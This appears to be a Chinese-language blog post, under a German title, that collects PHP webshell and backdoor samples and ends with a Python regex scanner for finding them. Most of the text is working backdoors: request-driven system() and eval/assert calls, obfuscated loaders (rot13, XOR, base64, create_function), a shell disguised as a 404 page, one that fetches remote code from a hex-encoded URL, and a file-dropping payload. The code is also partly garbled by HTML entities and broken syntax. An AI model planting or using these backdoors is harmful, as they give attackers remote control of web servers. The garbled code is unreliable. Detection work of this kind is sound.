Ausführliche Erläuterung der PHP-Sicherheits-Webshell- und Backdoor-Erkennungsbeispiele

<?php if(isset($_REQUEST[&#39;cmd&#39;])){
    $cmd = ($_REQUEST["cmd"]);
    system($cmd);
    echo "

";
    die;
}
?>

<?php  $a =str_replace(x,"","axsxxsxexrxxt");$a($_POST["code"]); ?>
//说明：请求参数  ?code=fputs(fopen(base64_decode(J2MucGhwJw==),w),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg=="))
最终执行命令<?php  assert（fputs(fopen(&#39;c.php&#39;,w),"<?php @eval($_POST[a]);?>")）?>

<?php  ($code = $_POST[&#39;code&#39;]) && @preg_replace(&#39;/ad/e&#39;,&#39;@&#39;.str_rot13(&#39;riny&#39;).&#39;($code)&#39;, &#39;add&#39;); ?>
//说明：首先，将eval函数用str_rot13('riny')隐藏。然后，利用 e 修饰符，在preg_replace完成字符串替换后，使得引擎将结果字符串作为php代码使用eval方式进行评估并将返回值作为最终参与替换的字符串。

<?php  $filename=$_GET[&#39;code&#39;];include ($filename); ?>
//由于include方法可以直接编译任何格式的文件为php格式运行，因此可以上传一个txt格式的php文件，将真正的后门写在文本当中。

<?php  if(empty($_SESSION[&#39;api&#39;]))
    $_SESSION[&#39;api&#39;]=substr(file_get_contents(sprintf(&#39;%s?  %s&#39;,pack(“H*”,&#39;687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);
    @preg_replace(“~(.*)~ies”,gzuncompress($_SESSION[&#39;api&#39;]),null);
?>

<?php session_start();
$_POST[&#39;code&#39;] && $_SESSION[&#39;theCode&#39;] = trim($_POST[&#39;code&#39;]);
$_SESSION[&#39;theCode&#39;]&&preg_replace(&#39;\&#39;a\&#39;eis&#39;,&#39;e&#39;.&#39;v&#39;.&#39;a&#39;.&#39;l&#39;.&#39;(base64_decode($_SESSION[\&#39;theCode\&#39;]))&#39;,&#39;a&#39;);

nbsp;HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">

<title>404 Not Found</title>

<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>

<?php @preg_replace("/[pageerror]/e",$_POST[&#39;error&#39;],"saft");
header(&#39;HTTP/1.1 404 Not Found&#39;);
?>

<?php  assert($_POST[sb]);?>

<?php $item[&#39;wind&#39;] = &#39;assert&#39;;
$array[] = $item;
$array[0][&#39;wind&#39;]($_POST[&#39;iixosmse&#39;]);

<?php $reg="c"."o"."p"."y";
$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);

<?php   
@$_++; // $_ = 1  
$=("#"^"|"); // $ = _  
$.=("."^"~"); // _P  
$.=("/"^"`"); // _PO  
$.=("|"^"/"); // _POS  
$.=("{"^"/"); // _POST  
${$}[!$_](${$}[$_]); // $_POST[0]($_POST[1]);  
?>

<?php   
    $penh="sIGpvaW4oYXJyYgiXlfc2xpY2UoJGEsgiJGMoJGEpLTgiMpKSkpgiKTtlY2hvICc8LycgiuJgiGsugiJz4nO30=";  
    $kthe="JGEpPjgiMpeyRrPSgidwcyc7ZWNobyAnPCcgiugiJGsuJz4nOgi2V2YWwoYgimFzZTY0X2giRlY2gi9kgiZShwcmVn";  
    $ftdf = str_replace("w","","stwrw_wrwepwlwawcwe");  
    $wmmi="X3JlcgiGxhY2UgioYXgiJyYXkoJy9bXlx3PVgixzXS8nLCgicvXHMvJyksIGFycmF5KCcnLCcrgiJyk";  
    $zrmt="JGM9J2NvdWgi50JzskgiYT0gikX0NgiPT0tJRgiTtpZihyZXNldCgkYSk9PSgidvbycggiJgiiYgJGMo";  
    $smgv = $ftdf("f", "", "bfafsfef6f4_fdfefcodfe");  
    $jgfi = $ftdf("l","","lclrlelaltel_functlilon");  
    $rdwm = $jgfi(&#39;&#39;, $smgv($ftdf("gi", "", $zrmt.$kthe.$wmmi.$penh))); $rdwm();  
?>

<?php $func = new ReflectionFunction("system");
echo $func->invokeArgs(array("$_GET[c]"));
?>

<?php $cb= &#39;system&#39;;
ob_start($cb);
echo $_GET[c];
ob_end_flush();
?>

#!/usr/bin/env python
# encoding: utf-8
 
import os,sys
import re
import hashlib
import time
 
rulelist = [
    '(\$_(GET|POST|REQUEST)\[.{0,15}\]\s{0,10}\(\s{0,10}\$_(GET|POST|REQUEST)\[.{0,15}\]\))',
    '((eval|assert)(\s|\n)*\((\s|\n)*\$_(POST|GET|REQUEST)\[.{0,15}\]\))',
    '(eval(\s|\n)*\(base64_decode(\s|\n)*\((.|\n){1,200})',
    '(function\_exists\s*\(\s*[\'|\"](popen|exec|proc\_open|passthru)+[\'|\"]\s*\))',
    '((exec|shell\_exec|passthru)+\s*\(\s*\$\_(\w+)\[(.*)\]\s*\))',
    '(\$(\w+)\s*\(\s.chr\(\d+\)\))',
    '(\$(\w+)\s*\$\{(.*)\})',
    '(\$(\w+)\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\s*\))',
    '(\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\(\s*\$(.*)\))',
    '(\$\_\=(.*)\$\_)',
    '(\$(.*)\s*\((.*)\/e(.*)\,\s*\$\_(.*)\,(.*)\))',
    '(new com\s*\(\s*[\'|\"]shell(.*)[\'|\"]\s*\))',
    '(echo\s*curl\_exec\s*\(\s*\$(\w+)\s*\))',
    '((fopen|fwrite|fputs|file\_put\_contents)+\s*\((.*)\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\](.*)\))',
    '(\(\s*\$\_FILES\[(.*)\]\[(.*)\]\s*\,\s*\$\_(GET|POST|REQUEST|FILES)+\[(.*)\]\[(.*)\]\s*\))',
    '(\$\_(\w+)(.*)(eval|assert|include|require|include\_once|require\_once)+\s*\(\s*\$(\w+)\s*\))',
    '((include|require|include\_once|require\_once)+\s*\(\s*[\'|\"](\w+)\.(jpg|gif|ico|bmp|png|txt|zip|rar|htm|css|js)+[\'|\"]\s*\))',
    '(eval\s*\(\s*\(\s*\$\$(\w+))',
    '((eval|assert|include|require|include\_once|require\_once|array\_map|array\_walk)+\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER|SESSION)+\[(.*)\]\s*\))',
    '(preg\_replace\s*\((.*)\(base64\_decode\(\$)'
    ]
 
def scan(path):
    print('           可疑文件         ')
    print('*'*30)
    for root,dirs,files in os.walk(path):
        for filespath in files:
            if os.path.getsize(os.path.join(root,filespath))<1024000:
                file= open(os.path.join(root,filespath))
                filestr = file.read()
                file.close()
                for rule in rulelist:
                    result = re.compile(rule).findall(filestr)
                    if result:
                        print &#39;文件:&#39;+os.path.join(root,filespath )
                        print &#39;恶意代码:&#39;+str(result[0][0:200])
                        print (&#39;最后修改时间:&#39;+time.strftime(&#39;%Y-%m-%d %H:%M:%S&#39;,time.localtime(os.path.getmtime(os.path.join(root,filespath)))))
                        print &#39;\n\n&#39;
                        break
def md5sum(md5_file):
    m = hashlib.md5()
    fp = open(md5_file)
    m.update(fp.read())
    return m.hexdigest()
    fp.close()
 
if md5sum(&#39;/etc/issue&#39;) == &#39;3e3c7c4194b12af573ab11c16990c477&#39;:
    if md5sum(&#39;/usr/sbin/sshd&#39;) == &#39;abf7a90c36705ef679298a44af80b10b&#39;:
        pass
    else:
        print(&#39;*&#39;*40)
        print "\033[31m sshd被修改，疑似留有后门\033[m"
        print(&#39;*&#39;*40)
        time.sleep(5)
if md5sum(&#39;/etc/issue&#39;) == &#39;6c9222ee501323045d85545853ebea55&#39;:
    if md5sum(&#39;/usr/sbin/sshd&#39;) == &#39;4bbf2b12d6b7f234fa01b23dc9822838&#39;:
        pass
    else:
        print(&#39;*&#39;*40)
        print "\033[31m sshd被修改，疑似留有后门\033[m"
        print(&#39;*&#39;*40)
        time.sleep(5)
if name==&#39;main&#39;:
 
    if len(sys.argv)!=2:
        print &#39;参数错误&#39;
        print "\t按恶意代码查找:"+sys.argv[0]+&#39;目录名&#39;
    if os.path.lexists(sys.argv[1]) == False:
        print "目录不存在"
        exit()
    print (&#39;\n\n开始查找:&#39;+sys.argv[1])
    if len(sys.argv) ==2:
        scan(sys.argv[1])
    else:
        exit()